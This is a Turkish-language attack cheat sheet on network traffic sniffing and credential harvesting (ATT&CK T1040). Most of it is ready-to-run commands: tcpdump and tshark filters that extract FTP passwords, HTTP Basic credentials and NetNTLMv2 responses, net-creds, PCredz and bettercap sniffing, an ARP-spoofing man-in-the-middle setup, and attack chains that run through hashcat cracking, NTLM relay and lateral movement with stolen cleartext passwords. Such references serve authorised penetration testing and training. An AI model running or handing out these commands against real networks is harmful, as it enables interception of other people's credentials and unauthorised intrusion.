Trafik Dinleme & Kimlik Toplama

ATT&CK T1040 difficulty: kolay

Ağ trafiğini dinlemek; açık (şifresiz) protokollerden kimlik bilgisi toplamanın ve ortamı anlamanın hızlı bir yoludur (T1040). Switch’li ağda pasif dinleme yalnızca kendi/broadcast trafiğini görür; başkalarının unicast’ine erişmek için port mirroring, TAP veya MITM gerekir.

Ön koşullar

- Promiscuous mode destekli arayüz (sudo)
- Hedef segmentte konum veya ARP spoof izni
- Araçlar: tcpdump, tshark, Wireshark, net-creds, PCredz, bettercap

Yakalama

sudo tcpdump -i eth0 -w capture.pcap

sudo tcpdump -i eth0 -G 3600 -W 5 -w hour.pcap

sudo tcpdump -i eth0 -w clear.pcap \
  'port 21 or port 23 or port 80 or port 110 or port 143 or port 161'

sudo tcpdump -i eth0 -w host.pcap host 10.10.10.5

sudo tcpdump -i eth0 -nn port 5355 or port 137 or port 5353

sudo net-creds -i eth0

sudo python3 PCredz -i eth0

sudo python3 PCredz -f capture.pcap

sudo bettercap -iface eth0

> net.sniff on

pktmon

Açık protokollerden kimlik

FTP (21)           USER/PASS

Telnet (23)        düz metin oturum

HTTP Basic         Authorization: Basic base64

HTTP form POST     password= (HTTPS değilse)

POP3 (110) / IMAP (143)   LOGIN

SMTP AUTH          AUTH PLAIN / LOGIN

SNMP (161)         community string

LDAP simple bind   düz metin DN + password

LLMNR/NBNS         NTLM challenge/response (Responder ile aktif)

Kerberos           AS-REQ (pre-auth offline — nadiren pratik)

sudo python3 PCredz -f capture.pcap

tshark -r capture.pcap -Y 'ftp.request.command == "PASS"' -T fields -e ftp.request.arg

tshark -r capture.pcap -Y 'http.authorization' -T fields -e http.authorization

tshark -r capture.pcap -Y 'ntlmssp.auth.username' -T fields \
  -e ntlmssp.auth.username -e ntlmssp.ntlmv2_response

PCAP analizi (Wireshark / tshark)

1. Protokole göre filtrele — http.authorization , ftp.request.command == “PASS” , telnet , ntlmssp , kerberos.CNameString , ldap.simpleBind .

2. Akışı takip et — Follow → TCP Stream / UDP Stream ile oturum içeriğini oku; dosya aktarımlarını Export Objects ile çıkar.

3. Kimlik ve hash çıkar — NetNTLM hash’leri parola saldırıları ile offline kır; cleartext’i hemen yanal harekette kullan.

4. Ortam istihbaratı — DNS sorguları, SMB tree connect yolları, User-Agent, iç hostname’ler, domain adı.

tshark -r capture.pcap -q -z credentials

tshark -r capture.pcap -Y 'dns.qry.name' -T fields -e dns.qry.name | sort -u

tshark -r capture.pcap -Y 'smb2' -T fields -e ip.src -e smb2.filename | head

wireshark capture.pcap

MITM ile birleştirme

sudo sysctl -w net.ipv4.ip_forward=1

sudo arpspoof -i eth0 -t 10.10.10.5 -r 10.10.10.1 &

sudo tcpdump -i eth0 -w spoofed.pcap host 10.10.10.5

Komut üreteci

⚡

tcpdump · capture

embedded tool

InterfaceBPF filterOutput PCAP

Generated commandcopy

sudo tcpdump -i eth0 -w capture.pcap tcp port 21 or tcp port 23

tcpdump · capture

Saldırı zinciri

Misafir portu / hub / SPAN
  → tcpdump + PCredz
  → SNMP community + FTP pass
  → iç panel login / SSH

ARP spoof
  → HTTP Basic + NetNTLMv2
  → hashcat 5600 / relay

Note

NoteSwitch’li ağda pasif dinleme yalnızca kendi trafiğini ve broadcast/multicast’i görür; başkalarının unicast trafiğine erişmek için port mirroring, MITM (ARP spoof) veya network TAP gerekir.